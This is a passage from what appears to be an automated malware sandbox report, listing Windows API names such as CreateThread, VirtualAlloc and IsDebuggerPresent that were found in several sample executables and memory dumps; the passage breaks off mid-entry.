"GetSystemInfo"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "CreateThread"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "ResetEvent"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "LoadResource"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "ExitProcess"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "GetModuleHandleW"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "CreateProcessA"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "FormatMessageA"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "GetTempFileNameA"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "DosDateTimeToFileTime"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "CreateEventA"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "GetExitCodeProcess"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "GetDeviceCaps"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "GetDesktopWindow"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "CharUpperA"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "ExitWindowsEx"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "MessageBeep"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "CharPrevA"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "LoadStringA"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "CharNextA"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "EnableWindow"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "ReleaseDC"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "SetForegroundWindow"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "PeekMessageA"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "SendMessageA"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "MessageBoxA"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "SetWindowTextA"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "GetWindowLongA"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "CallWindowProcA"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "SetWindowLongA"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "ShowWindow"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "MsgWaitForMultipleObjects"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "SetWindowPos"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "GetDC"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "GetWindowRect"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "DispatchMessageA"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "GetFileVersionInfoSizeA"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "VerQueryValueA"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "GetFileVersionInfoA"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "Sleep"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "GetStartupInfoW"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "UnhandledExceptionFilter"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "TerminateProcess"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "QueryPerformanceCounter"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "GetCurrentProcessId"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "GetCurrentThreadId"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "GetTickCount"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "EnumResourceLanguagesA"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "GetDiskFreeSpaceA"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "MulDiv"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "GetSystemMetrics"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "FlsSetValue"; File: "00000000-00006044.00000000.70232.00051000.00000020.mdmp") Found reference to API (Indicator: "FlsGetValue"; File: "00000000-00006044.00000000.70232.00051000.00000020.mdmp") Found reference to API (Indicator: "FlsAlloc"; File: "WREQ0KOSK9O5sPY.exe.4143594902") Found reference to API (Indicator: "InitializeCriticalSectionEx"; File: "WREQ0KOSK9O5sPY.exe.4143594902") Found reference to API (Indicator: "LocaleNameToLCID"; File: "WREQ0KOSK9O5sPY.exe.4143594902") Found reference to API (Indicator: "FlsFree"; File: "WREQ0KOSK9O5sPY.exe.4143594902") Found reference to API (Indicator: "AreFileApisANSI"; File: "WREQ0KOSK9O5sPY.exe.4143594902") Found reference to API (Indicator: "LCMapStringEx"; File: "WREQ0KOSK9O5sPY.exe.4143594902") Found reference to API (Indicator: "VirtualFree"; File: "WREQ0KOSK9O5sPY.exe.4143594902") Found reference to API (Indicator: "VirtualAlloc"; File: "WREQ0KOSK9O5sPY.exe.4143594902") Found reference to API (Indicator: "InitializeSListHead"; File: "WREQ0KOSK9O5sPY.exe.4143594902") Found reference to API (Indicator: "IsDebuggerPresent"; File: "WREQ0KOSK9O5sPY.exe.4143594902") Found reference to API (Indicator: "IsProcessorFeaturePresent"; File: "WREQ0KOSK9O5sPY.exe.4143594902") Found reference to API (Indicator: "RtlUnwind"; File: "WREQ0KOSK9O5sPY.exe.4143594902") Found reference to API (Indicator: "SetLastError"; File: "WREQ0KOSK9O5sPY.exe.4143594902") Found reference to API (Indicator: "EnterCriticalSection"; File: "WREQ0KOSK9O5sPY.exe.4143594902") Found reference to API (Indicator: "LeaveCriticalSection"; File: "WREQ0KOSK9O5sPY.exe.4143594902") Found reference to API (Indicator: "DeleteCriticalSection"; File: "WREQ0KOSK9O5sPY.exe.4143594902") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; File: "WREQ0KOSK9O5sPY.exe.4143594902") Found reference to API (Indicator: "TlsAlloc"; File: "WREQ0KOSK9O5sPY.exe.4143594902") Found reference to API (Indicator: "TlsGetValue"; File: "WREQ0KOSK9O5sPY.exe.4143594902") Found reference to API (Indicator: "TlsSetValue"; File: "WREQ0KOSK9O5sPY.exe.4143594902") Found reference to API (Indicator: "TlsFree"; File: "WREQ0KOSK9O5sPY.exe.4143594902") Found reference to API (Indicator: "LoadLibraryExW"; File: "WREQ0KOSK9O5sPY.exe.4143594902") Found reference to API (Indicator: "EncodePointer"; File: "WREQ0KOSK9O5sPY.exe.4143594902") Found reference to API (Indicator: "RaiseException"; File: "WREQ0KOSK9O5sPY.exe.4143594902") Found reference to API (Indicator: "GetStdHandle"; File: "WREQ0KOSK9O5sPY.exe.4143594902") Found reference to API (Indicator: "GetModuleFileNameW"; File: "WREQ0KOSK9O5sPY.exe.4143594902") Found reference to API (Indicator: "GetModuleHandleExW"; File: "WREQ0KOSK9O5sPY.exe.4143594902") Found reference to API (Indicator: "HeapFree"; File: "WREQ0KOSK9O5sPY.exe.4143594902") Found reference to API (Indicator: "HeapAlloc"; File: "WREQ0KOSK9O5sPY.exe.4143594902") Found reference to API (Indicator: "HeapReAlloc"; File: "WREQ0KOSK9O5sPY.exe.4143594902") Found reference to API (Indicator: "LCMapStringW"; File: "WREQ0KOSK9O5sPY.exe.4143594902") Found reference to API (Indicator: "FindFirstFileExW"; File: "WREQ0KOSK9O5sPY.exe.4143594902") Found reference to API (Indicator: "FindNextFileW"; File: "WREQ0KOSK9O5sPY.exe.4143594902") Found reference to API (Indicator: "IsValidCodePage"; File: "WREQ0KOSK9O5sPY.exe.4143594902") Found reference to API (Indicator: "GetACP"; File: "WREQ0KOSK9O5sPY.exe.4143594902") Found reference to API (Indicator: "GetOEMCP"; File: "WREQ0KOSK9O5sPY.exe.4143594902") Found reference to API (Indicator: "GetCPInfo"; File: "WREQ0KOSK9O5sPY.exe.4143594902") Found reference to API (Indicator: "GetCommandLineA"; File: "WREQ0KOSK9O5sPY.exe.4143594902") Found reference to API (Indicator: "GetCommandLineW"; File: "WREQ0KOSK9O5sPY.exe.4143594902") Found reference to API (Indicator: "MultiByteToWideChar"; File: "WREQ0KOSK9O5sPY.exe.4143594902") Found reference to API (Indicator: "WideCharToMultiByte"; File: "WREQ0KOSK9O5sPY.exe.4143594902") Found reference to API (Indicator: "GetEnvironmentStringsW"; File: "WREQ0KOSK9O5sPY.exe.4143594902") Found reference to API (Indicator: "FreeEnvironmentStringsW"; File: "WREQ0KOSK9O5sPY.exe.4143594902") Found reference to API (Indicator: "SetStdHandle"; File: "WREQ0KOSK9O5sPY.exe.4143594902") Found reference to API (Indicator: "GetFileType"; File: "WREQ0KOSK9O5sPY.exe.4143594902") Found reference to API (Indicator: "GetStringTypeW"; File: "WREQ0KOSK9O5sPY.exe.4143594902") Found reference to API (Indicator: "GetProcessHeap"; File: "WREQ0KOSK9O5sPY.exe.4143594902") Found reference to API (Indicator: "HeapSize"; File: "WREQ0KOSK9O5sPY.exe.4143594902") Found reference to API (Indicator: "FlushFileBuffers"; File: "WREQ0KOSK9O5sPY.exe.4143594902") Found reference to API (Indicator: "GetConsoleOutputCP"; File: "WREQ0KOSK9O5sPY.exe.4143594902") Found reference to API (Indicator: "GetConsoleMode"; File: "WREQ0KOSK9O5sPY.exe.4143594902") Found reference to API (Indicator: "SetFilePointerEx"; File: "WREQ0KOSK9O5sPY.exe.4143594902") Found reference to API (Indicator: "CreateFileW"; File: "WREQ0KOSK9O5sPY.exe.4143594902") Found reference to API (Indicator: "WriteConsoleW"; File: "WREQ0KOSK9O5sPY.exe.4143594902") Found reference to API (Indicator: "DecodePointer"; File: "WREQ0KOSK9O5sPY.exe.4143594902") Found reference to API (Indicator: "GetActiveWindow"; File: "cDLTjqPjMRTDiE7.exe.2237874424") Found reference to API (Indicator: "GetLastActivePopup"; File: "cDLTjqPjMRTDiE7.exe.2237874424") Found reference to API (Indicator: "GetUserObjectInformationA"; File: "cDLTjqPjMRTDiE7.exe.2237874424") Found reference to API (Indicator: "GetProcessWindowStation"; File: "cDLTjqPjMRTDiE7.exe.2237874424") Found reference to API (Indicator: "lstrlenA"; File: "cDLTjqPjMRTDiE7.exe.2237874424") Found reference to API (Indicator: "InterlockedDecrement"; File: "cDLTjqPjMRTDiE7.exe.2237874424") Found reference to API (Indicator: "GetModuleHandleA"; File: "cDLTjqPjMRTDiE7.exe.2237874424") Found reference to API (Indicator: "Module32Next"; File: "cDLTjqPjMRTDiE7.exe.2237874424") Found reference to API (Indicator: "Module32First"; File: "cDLTjqPjMRTDiE7.exe.2237874424") Found reference to API (Indicator: "CreateToolhelp32Snapshot"; File: "cDLTjqPjMRTDiE7.exe.2237874424") Found reference to API (Indicator: "OleInitialize"; File: "cDLTjqPjMRTDiE7.exe.2237874424") Found reference to API (Indicator: "HeapCreate"; File: "cDLTjqPjMRTDiE7.exe.2237874424") Found reference to API (Indicator: "GetConsoleCP"; File: "cDLTjqPjMRTDiE7.exe.2237874424") Found reference to API (Indicator: "InterlockedIncrement"; File: "cDLTjqPjMRTDiE7.exe.2237874424") Found reference to API (Indicator: "SetHandleCount"; File: "cDLTjqPjMRTDiE7.exe.2237874424") Found reference to API (Indicator: "GetStartupInfoA"; File: "cDLTjqPjMRTDiE7.exe.2237874424") Found reference to API (Indicator: "FreeEnvironmentStringsA"; File: "cDLTjqPjMRTDiE7.exe.2237874424") Found reference to API (Indicator: "GetEnvironmentStrings"; File: "cDLTjqPjMRTDiE7.exe.2237874424") Found reference to API (Indicator: "CompareStringW"; File: "cDLTjqPjMRTDiE7.exe.2237874424") Found reference to API (Indicator: "SetEnvironmentVariableA"; File: "cDLTjqPjMRTDiE7.exe.2237874424") Found reference to API (Indicator: "WriteConsoleA"; File: "cDLTjqPjMRTDiE7.exe.2237874424") Found reference to API (Indicator: "GetLocaleInfoA"; File: "cDLTjqPjMRTDiE7.exe.2237874424") Found reference to API (Indicator: "LCMapStringA"; File: "cDLTjqPjMRTDiE7.exe.2237874424") Found reference to API (Indicator: "GetStringTypeA"; File: "cDLTjqPjMRTDiE7.exe.2237874424") Found reference to API (Indicator: "SetEndOfFile"; File: "cDLTjqPjMRTDiE7.exe.2237874424") Found reference to API (Indicator: "GetLongPathNameW"; File: "5tg3FW0.exe.2804635788") Found reference to API (Indicator: "RtlGetVersion"; File: "5tg3FW0.exe.2804635788") Found reference to API (Indicator: "SHGetKnownFolderPath"; File: "5tg3FW0.exe.2804635788") Found reference to API (Indicator: "InitOnceExecuteOnce"; File: "5tg3FW0.exe.2804635788") Found reference to API (Indicator: "SHBrowseForFolderW"; File: "5tg3FW0.exe.2804635788") Found reference to API (Indicator: "SHGetPathFromIDListW"; File: "5tg3FW0.exe.2804635788") Found reference to API (Indicator: "SetCurrentDirectoryW"; File: "5tg3FW0.exe.2804635788") Found reference to API (Indicator: "UnregisterWait"; File: "5tg3FW0.exe.2804635788") Found reference to API (Indicator: "GetCurrentThread"; File: "5tg3FW0.exe.2804635788") Found reference to API (Indicator: "GetWindowDC"; File: "91NL8LQzC2Bqri4.exe.3456369258") Found reference to API (Indicator: "SendMessage"; File: "91NL8LQzC2Bqri4.exe.3456369258") Found reference to API (Indicator: "GetClassName"; File: "91NL8LQzC2Bqri4.exe.3456369258") Found reference to API (Indicator: "ReleaseCapture"; File: "91NL8LQzC2Bqri4.exe.3456369258") Found reference to API (Indicator: "GetWindowLong"; File: "91NL8LQzC2Bqri4.exe.3456369258") Found reference to API (Indicator: "SetWindowLong"; File: "91NL8LQzC2Bqri4.exe.3456369258") Found reference to API (Indicator: "InsertMenuItem"; File: "91NL8LQzC2Bqri4.exe.3456369258") Found reference to API (Indicator: "ClientToScreen"; File: "91NL8LQzC2Bqri4.exe.3456369258") Found reference to API (Indicator: "CreateRoundRectRgn"; File: "91NL8LQzC2Bqri4.exe.3456369258") Found reference to API (Indicator: "GetScrollInfo"; File: "91NL8LQzC2Bqri4.exe.3456369258") Found reference to API (Indicator: "DrawMenuBar"; File: "91NL8LQzC2Bqri4.exe.3456369258") Found reference to API (Indicator: "LoadCursor"; File: "91NL8LQzC2Bqri4.exe.3456369258") Found reference to API (Indicator: "SetCursor"; File: "91NL8LQzC2Bqri4.exe.3456369258") Found reference to API (Indicator: "GetLogicalDrives"; File: "91NL8LQzC2Bqri4.exe.3456369258") Found reference to API (Indicator: "GetCursorPos"; File: "91NL8LQzC2Bqri4.exe.3456369258") Found reference to API (Indicator: "GetClientRect"; File: "91NL8LQzC2Bqri4.exe.3456369258") Found reference to API (Indicator: "BitBlt"; File: "91NL8LQzC2Bqri4.exe.3456369258") Found reference to API (Indicator: "WindowFromPoint"; File: "91NL8LQzC2Bqri4.exe.3456369258") Found reference to API (Indicator: "GetWindowText"; File: "91NL8LQzC2Bqri4.exe.3456369258") Found reference to API (Indicator: "GetSystemMenu"; File: "91NL8LQzC2Bqri4.exe.3456369258") Found reference to API (Indicator: "InsertMenu"; File: "91NL8LQzC2Bqri4.exe.3456369258") Found reference to API (Indicator: "FindWindow"; File: "91NL8LQzC2Bqri4.exe.3456369258") Found reference to API (Indicator: "DestroyWindow"; File: "91NL8LQzC2Bqri4.exe.3456369258") Found reference to API (Indicator: "GetDCEx"; File: "91NL8LQzC2Bqri4.exe.3456369258") Found reference to API (Indicator: "TrackPopupMenuEx"; File: "91NL8LQzC2Bqri4.exe.3456369258") Found reference to API (Indicator: "CreateWindowEx"; File: "91NL8LQzC2Bqri4.exe.3456369258") Found reference to API (Indicator: "MessageBox"; File: "91NL8LQzC2Bqri4.exe.3456369258") Found reference to API (Indicator: "RegisterHotKey"; File: "91NL8LQzC2Bqri4.exe.3456369258") Found reference to API (Indicator: "UnregisterHotKey"; File: "91NL8LQzC2Bqri4.exe.3456369258") Found reference to API (Indicator: "CreateDirectory"; File: "91NL8LQzC2Bqri4.exe.3456369258") Found reference to API (Indicator: "GetTimeFormatEx"; File: "1eP24vr0.exe.449690253") Found reference to API (Indicator: "CompareStringEx"; File: "1eP24vr0.exe.449690253") Found reference to API (Indicator: "GetDateFormatEx"; File: "1eP24vr0.exe.449690253") Found reference to API (Indicator: "GetLocaleInfoEx"; File: "1eP24vr0.exe.449690253") Found reference to API (Indicator: "IsValidLocaleName"; File: "1eP24vr0.exe.449690253") Found reference to API (Indicator: "GetSystemTimePreciseAsFileTime"; File: "1eP24vr0.exe.449690253") Found reference to API (Indicator: "LCIDToLocaleName"; File: "1eP24vr0.exe.449690253") Found reference to API (Indicator: "EnumSystemLocalesEx"; File: "1eP24vr0.exe.449690253") Found reference to API (Indicator: "GetUserDefaultLocaleName"; File: "1eP24vr0.exe.449690253") Found reference to API (Indicator: "FreeConsole"; File: "1eP24vr0.exe.449690253") Found reference to API (Indicator: "GetLocaleInfoW"; File: "1eP24vr0.exe.449690253") Found reference to API (Indicator: "IsValidLocale"; File: "1eP24vr0.exe.449690253") Found reference to API (Indicator: "GetUserDefaultLCID"; File: "1eP24vr0.exe.449690253") Found reference to API (Indicator: "EnumSystemLocalesW"; File: "1eP24vr0.exe.449690253") Found reference to API (Indicator: "GetFileSizeEx"; File: "1eP24vr0.exe.449690253") Found reference to API (Indicator: "ReadConsoleW"; File: "1eP24vr0.exe.449690253") Found reference to API (Indicator: "SetEnvironmentVariableW"; File: "1eP24vr0.exe.449690253") Found reference to API (Indicator: "EncodePointer"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp, 00000000-00000236.00000001.76476.72651000.00000002.mdmp, 00000000-00000236.00000001.76476.72855000.00000002.mdmp") Found reference to API (Indicator: "DecodePointer"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp, 00000000-00000236.00000001.76476.72651000.00000002.mdmp, 00000000-00000236.00000001.76476.72855000.00000002.mdmp") Found reference to API (Indicator: "FlsFree"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp") Found reference to API (Indicator: "FlsSetValue"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp") Found reference to API (Indicator: "FlsGetValue"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp") Found reference to API (Indicator: "FlsAlloc"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp") Found reference to API (Indicator: "GetProcessWindowStation"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp") Found reference to API (Indicator: "GetUserObjectInformationA"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp") Found reference to API (Indicator: "GetLastActivePopup"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp, 00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "GetActiveWindow"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp") Found reference to API (Indicator: "MessageBoxA"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp") Found reference to API (Indicator: "RaiseException"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp, 00000000-00000236.00000001.76476.72651000.00000002.mdmp, 00000000-00000236.00000001.76476.72855000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp, 00000000-00000236.00000001.76476.72651000.00000002.mdmp, 00000000-00000236.00000001.76476.72855000.00000002.mdmp") Found reference to API (Indicator: "MultiByteToWideChar"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp") Found reference to API (Indicator: "lstrlenA"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp") Found reference to API (Indicator: "InterlockedDecrement"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp, 00000000-00000236.00000000.74556.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.055E0000.00000004.mdmp, 00000000-00000236.00000001.76476.05770000.00000004.mdmp, 00000000-00000236.00000001.76476.06A30000.00000004.mdmp, 00000000-00000236.00000001.76476.72651000.00000002.mdmp, 00000000-00000236.00000001.76476.72855000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryA"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp") Found reference to API (Indicator: "FreeResource"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp") Found reference to API (Indicator: "SizeofResource"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp, 00000000-00000236.00000001.76476.72651000.00000002.mdmp, 00000000-00000236.00000001.76476.72855000.00000002.mdmp") Found reference to API (Indicator: "LockResource"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp, 00000000-00000236.00000001.76476.72651000.00000002.mdmp, 00000000-00000236.00000001.76476.72855000.00000002.mdmp") Found reference to API (Indicator: "LoadResource"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp, 00000000-00000236.00000001.76476.72651000.00000002.mdmp, 00000000-00000236.00000001.76476.72855000.00000002.mdmp") Found reference to API (Indicator: "FindResourceA"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleA"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp") Found reference to API (Indicator: "Module32Next"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp, 00000000-00000236.00000000.74556.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.055E0000.00000004.mdmp, 00000000-00000236.00000001.76476.05770000.00000004.mdmp, 00000000-00000236.00000001.76476.06A30000.00000004.mdmp, 00000000-00000236.00000001.76476.72651000.00000002.mdmp, 00000000-00000236.00000001.76476.72855000.00000002.mdmp") Found reference to API (Indicator: "Module32First"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp") Found reference to API (Indicator: "CreateToolhelp32Snapshot"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp, 00000000-00000236.00000001.76476.72651000.00000002.mdmp, 00000000-00000236.00000001.76476.72855000.00000002.mdmp") Found reference to API (Indicator: "OleInitialize"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp, 00000000-00000236.00000001.76476.72651000.00000002.mdmp, 00000000-00000236.00000001.76476.72855000.00000002.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp, 00000000-00000236.00000001.76476.72651000.00000002.mdmp, 00000000-00000236.00000001.76476.72855000.00000002.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp, 00000000-00000236.00000001.76476.72651000.00000002.mdmp, 00000000-00000236.00000001.76476.72855000.00000002.mdmp") Found reference to API (Indicator: "GetCommandLineA"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp") Found reference to API (Indicator: "HeapCreate"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp, 00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "VirtualFree"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp, 00000000-00000236.00000001.76476.72651000.00000002.mdmp, 00000000-00000236.00000001.76476.72855000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp, 00000000-00000236.00000001.76476.72651000.00000002.mdmp, 00000000-00000236.00000001.76476.72855000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp, 00000000-00000236.00000001.76476.72651000.00000002.mdmp, 00000000-00000236.00000001.76476.72855000.00000002.mdmp") Found reference to API (Indicator: "VirtualAlloc"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp") Found reference to API (Indicator: "HeapReAlloc"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp, 00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "HeapSize"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp, 00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp, 00000000-00000236.00000001.76476.72651000.00000002.mdmp, 00000000-00000236.00000001.76476.72855000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp, 00000000-00000236.00000000.74556.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.055E0000.00000004.mdmp, 00000000-00000236.00000001.76476.05770000.00000004.mdmp, 